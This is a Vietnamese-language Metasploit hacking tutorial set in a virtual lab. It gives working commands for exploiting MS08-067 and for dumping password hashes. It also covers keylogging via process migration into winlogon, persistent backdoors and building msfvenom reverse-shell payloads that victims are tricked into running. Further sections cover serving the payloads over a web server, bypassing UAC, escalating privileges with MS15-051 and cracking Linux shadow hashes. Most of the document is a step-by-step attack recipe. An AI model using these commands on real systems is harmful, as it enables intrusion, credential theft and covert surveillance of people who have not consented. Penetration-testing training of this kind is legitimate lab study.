Hacking with Metasploit
1 Victim windows
Trong bài lab này victim sẽ là windows XP (192.168.42.130). Attacker là kali linux 2019.3 (192.168.42.133).
Khai thác lỗ hổng ms08_067_netapi
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.42.133
set rhosts 192.168.42.130
exploit
Dumping password hashes
Hoặc có thể sử dụng module run post/windows/gather/hashdump
2 Download/upload tập tin thư mục
Tạo một thư mục tên là test trong ổ C:\ bằng lệnh sau: mkdir C:\test
Ta thử upload một tập tin tên là user.txt ở ngoài desktop của máy Kali có đường dẫn (/root/Desktop/user.txt) sử dụng lệnh upload /root/Desktop/user.txt C:\\test
Như vậy là đã upload thành công tập tin user.txt vào thư mục test của ổ C máy victim.
Bây giờ ta thử tạo thêm một thư mục với tên bất kỳ ví dụ nam trong thư mục test. Thao tác trên máy ảo windows xp. Như vậy trong thư mục C:\\test sẽ có một thư mục nam và một tập tin user.txt ngang hàng với nhau.
Ta download thử: download -r C:\\test /root/Desktop/test
Lệnh trên là download các tập tin thư mục có trong C:\\test của máy victim vào /root/Desktop/test của máy kali
Tham số -r là download đệ quy các tập tin và thư mục có trong C:\\test
Kết quả kiểm tra thử trên máy kali sau khi download xong
3 KEYLOGGER WITH METASPLOIT
Sử dụng lệnh ps để xem các tiến trình đang chạy trên máy nạn nhân
Ta thấy tiến trình explore.exe có giá trị PID là 1456 bây giờ ta migrate thử qua tiến trình này để thực hiện keylogger (migrate mục đích để chuyển sang tiến trình tồn tại song song cùng hệ thống giúp kết nối được duy trì không bị tắt, kết thúc bởi người dùng)
Sau khi nhập lệnh keyscan_start ta thử mở notepad nhập thử vài dòng sau đó dump key ta sẽ thấy dòng text nạn nhân đang gõ.
Bổ sung thêm, nếu bạn muốn nắm bắt thông tin đăng nhập hệ thống, bạn sẽ chỉ chuyển sang tiến trình winlogon. Điều này sẽ nắm bắt thông tin đăng nhập của tất cả người dùng đăng nhập vào hệ thống miễn là nó đang chạy.
4 Chạy backdoor/trojan trên vicim
Sử dụng lệnh: execute -f backdoor.exe
5 PERSISTENT BACKDOORS
Duy trì truy cập(Maintaining access) là một giai đoạn rất quan trọng của kiểm tra thâm nhập, thật không may, đó là một giai đoạn thường bị bỏ qua. Hầu hết những người kiểm tra thâm nhập được mang đi bất cứ khi nào có được quyền truy cập quản trị, vì vậy nếu hệ thống sau đó được vá, thì họ không còn có quyền truy cập vào nó nữa.
Persistent backdoors giúp chúng ta truy cập vào một hệ thống mà chúng tôi đã thỏa hiệp thành công trong quá khứ. Điều quan trọng cần lưu ý là chúng có thể nằm ngoài phạm vi trong quá trình kiểm tra thâm nhập; tuy nhiên, làm quen với chúng là điều tối quan trọng.
Sau khi chúng ta đã chiếm quyền điều khiển hệ thống công việc không kém phần quan trọng là để lại backdoor để duy trì kết nối cho lần sau ngay cả khi hệ thống bị reboot hoặc shutdown hoặc bị vá lỗi chúng ta cũng vẫn chiếm quyền truy cập trở lại nhờ vào mudul persistence
Nhập lệnh run persistence –h để xem trợ giúp
Nhập lệnh sau: run persistence -A -X -i 10 -p 4444 -r 192.168.42.133
Đến đây ta có 2 trường hợp xảy ra
Trường hợp 1: máy victim sẽ reboot ngay và máy attacker vẫn còn mở metasploit.
Đối với trường hợp này sau khi victim reboot trở lại màn hình sẽ bắt được phiên sessions mới
Trường hợp 2: máy victim sẽ tắt và máy attecker cũng tắt vài ngày
Sau khi mở metasploit trở lại ta thực hiện các lệnh sau để kết nối trở lại máy victim. Lưu ý kể cả máy victim đã mở rồi chúng ta cũng vẫn kết nối lại được backdoor.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.42.133
set lport 4444
exploit
6 Victim là Linux
Chúng ta tạo 1 shell sau đó lừa nạn nhân chạy con shell để có được phiên meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.42.133 LPORT=3333 -f elf > /root/Desktop/shell.elf
Sau đó thực thi các lệnh sau chờ cho victim chạy shell ta đã gửi
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.42.133
set lport 3333
exploit
7 PRIVILEGE ESCALATION
Giả sử ta tạo một backdoor bằng msfvenom và lừa nạn nhân chạy backdoor này trên windows 7. Sau khi có được phiên meterpreter ta getuid thử thì thấy đây chỉ là user bình thường. (user này không có quyền tối cao nên không thể chạy hashdump để lấy thông tin mật khẩu SAM)
Ta nâng cấp user lên thành quyền administrator bằng lệnh getsystem thì bị lỗi như sau:
7.1 Bypass UAC
UAC, hoặc User Account Control, là một tính năng bảo mật của Windows hoạt động bằng cách giới hạn những gì người dùng chuẩn có thể làm cho đến khi quản trị viên cho phép tăng đặc quyền tạm thời. Tất cả chúng ta đều đã xử lý cửa sổ bật lên gây phiền nhiễu khi cố gắng cài đặt phần mềm hoặc chạy một chương trình cụ thể, nhưng tính năng này giúp ngăn chặn phần mềm độc hại bằng cách chỉ cho phép các ứng dụng chạy với các đặc quyền cao hơn trên cơ sở cần thiết.
Tính năng này lần đầu tiên được giới thiệu trong Windows Vista và vẫn còn hiện diện trên các hệ điều hành của Microsoft ngày hôm nay. Nó có thể bị vô hiệu hóa, nhưng bất kỳ quản trị viên hệ thống tử tế nào cũng sẽ không bao giờ cho phép điều đó xảy ra. Từ quan điểm của kẻ tấn công, điều này có thể khiến cho việc nâng cao các đặc quyền đối với người dùng trở nên khó khăn, bởi vì ngay cả khi người dùng đó có quyền quản trị, UAC sẽ ngăn chặn sự leo thang.
Meterpreter có lệnh getsystem, nhưng nếu bật UAC, nó sẽ không hoạt động. May mắn thay, có một cách để khắc phục điều này. Với một vài bước, Metasploit giúp bạn dễ dàng vượt qua UAC, leo thang đặc quyền và sở hữu hệ thống.
Ta thực hiện các lệnh sau như hình
Lưu ý ở đây: nếu victim là win 64 thì ta chọn target 1, payload sẽ là:
windows/x64/meterpreter/reverse_tcp
còn victim trên máy tôi là win 32 bit nên chọn như trên.
Sau khi run session 2 sẽ được tạo ra như vậy ta đã bypass UAC thành công.
Và thử lại lệnh getsystem như hình là được
8 Leo thang đặc quyền trong domain
Ở phần lab phía trên nếu máy windows 7 join domain ta sẽ không thể by pass UAC được xem hình.
Chuẩn bị lab (dùng phần mềm vmware workstation để giả lập mạng)
- 1 máy windows 7
- 1 máy windows server 2008 r2
- 1 máy kali làm attacker
3 máy chọn chế độ card mạng là NAT và phải thông được nhau
Bước 1: Join domain máy windows 7 vào máy windows server 2008 r2 (tham khảo trên mạng). chú ý là đặt DNS là IP windows server 2008 R2 ở máy client
Bước 2: tạo backdoor bằng msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp -f exe prependmigrate=true prepenmigrateprocess=explorer.exe LHOST=192.168.50.128 LPORT=4444 -a x86 –platform window > backdoor.exe
Bước 3: Trong kali gõ service apache2 start để truyền backdoor tới client bằng đường web (lưu backdoor trong thư mục /var/www/html/nam)
Bước 4: truy cập bằng IP kali trên client để tải backdoor xuống
Bước 5: Chạy backdoor để có phiên meterpreter. Từ phiên của user thường sẽ leo thang lên thành NT system. (bên kali chạy multi/handler trước, sau đó chạy backdoor bên client)
Gõ lệnh background trong kali sau đó gõ use exploit/windows/local/
ấn tab đến khi hiện ra như hình (ấn space để thấy tiếp xuống):
use exploit/windows/local/ms15_051_client_copy_image
ấn q để thoát ra và copy đoạn ms15_051_client_copy_image. Set session và run sẽ có kết quả như hình:
Đến đây leo thang trong domain đã thành công!
9 Crack password hệ thống linux
9.1 Sơ lược về tập tin Passwd & Shadow
Trong hệ thống linux một cặp file chúng ta quan tâm là /etc/passwd và /etc/shadow. Tập tin /etc/passwd chứa thông tin cơ bản về tài khoản mỗi người dùng, bao gồm người dùng root có đầy đủ quyền quản trị, tài khoản dịch vụ hệ thống và người dùng thực tế. Có 7 trường trong mỗi dòng của /etc/passwd. Một dòng điển hình như thế này:
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
Trường đầu tiên là tên đăng nhập (cách nhau bởi dấu :). Theo truyền thống, trường thứ hai chứa mật khẩu được mã hóa, nhưng ngày nay (trừ khi bạn cực kỳ may mắn) nó chỉ chứa chữ “x” để biểu thị rằng mật khẩu đã được gán. Nếu trường này trống, người dùng không cần cung cấp mật khẩu để đăng nhập.
Trường thứ ba là ID người dùng, một số duy nhất được gán cho người dùng, theo sau là ID nhóm trong trường thứ tư. Trường thứ năm thường là tên đầy đủ của người dùng, mặc dù điều này cũng có thể để trống. Trường thứ sáu là thư mục chính của người dùng và cuối cùng, trường thứ bảy là shell mặc định, thường được đặt thành /bin/bash.
Tệp /etc/shadow chứa mật khẩu được mã hóa của người dùng trên hệ thống. /etc/shadow chỉ có thể đọc được bởi tài khoản root. Tệp shadow cũng chứa thông tin khác như ngày hết hạn của mật khẩu. Một dòng điển hình trong shadow file như thế này:
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
9.2 Crack password với Johnny
Bước 1: Từ applications->Password Attacks->johnny
Bước 2: Mở File->Open other file format
Bước 3: chọn như hình sau đó ấn convert
Bước 4: Sau khi ấn convert màn hình xuất hiện. Bấm tiếp Start new Attack để xem mật khẩu bị crack.
Như hình là username: root password là 123456 đã crack thành công.